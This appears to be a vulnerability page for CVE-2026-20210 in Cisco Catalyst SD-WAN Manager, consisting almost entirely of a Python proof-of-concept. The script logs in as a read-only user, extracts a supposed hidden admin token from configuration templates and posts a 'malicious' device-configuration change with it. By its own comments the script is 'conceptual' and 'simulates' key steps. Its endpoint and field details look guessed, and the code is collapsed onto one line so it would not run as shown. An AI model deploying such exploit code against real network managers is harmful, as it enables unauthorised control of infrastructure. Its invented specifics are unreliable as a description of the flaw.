CVE-2026-20210 Cisco Catalyst SD-WAN Manager权限提升漏洞

import requests # This is a conceptual Proof of Concept for CVE-2026-20210 # It demonstrates how a read-only user might extract sensitive info and perform an action. TARGET_URL = "https://<sdwan-manager-ip>/dataservice/" LOGIN_URL = TARGET_URL + "j_security_check" CONFIG_URL = TARGET_URL + "template/config/" ACTION_URL = TARGET_URL + "device/action/modify" username = "readonly_user" password = "password" session = requests.Session() # 1. Authenticate as read-only user login_payload = { "j_username": username, "j_password": password } session.post(LOGIN_URL, data=login_payload) # 2. Access configuration templates to find sensitive info (Vulnerability Trigger) response = session.get(CONFIG_URL) config_data = response.json() # Simulate extracting a sensitive token or hidden parameter from the response # that should not be visible to a read-only user. sensitive_token = None if "systemData" in config_data: sensitive_token = config_data["systemData"].get("hiddenAdminToken") if sensitive_token: print(f"[+] Sensitive information leaked: {sensitive_token}") # 3. Use the leaked token to perform a privileged action (Privilege Escalation) # Example: Modifying a device configuration using the leaked token headers = { "X-CSRF-Token": sensitive_token, # Using the leaked token "Content-Type": "application/json" } malicious_payload = { "deviceId": "target-device-id", "config": "modified-malicious-config" } action_response = session.post(ACTION_URL, json=malicious_payload, headers=headers) if action_response.status_code == 200: print("[!] Privilege escalation successful! Action performed.") else: print("[-] Action failed.") else: print("[-] Vulnerability not triggered or patched.")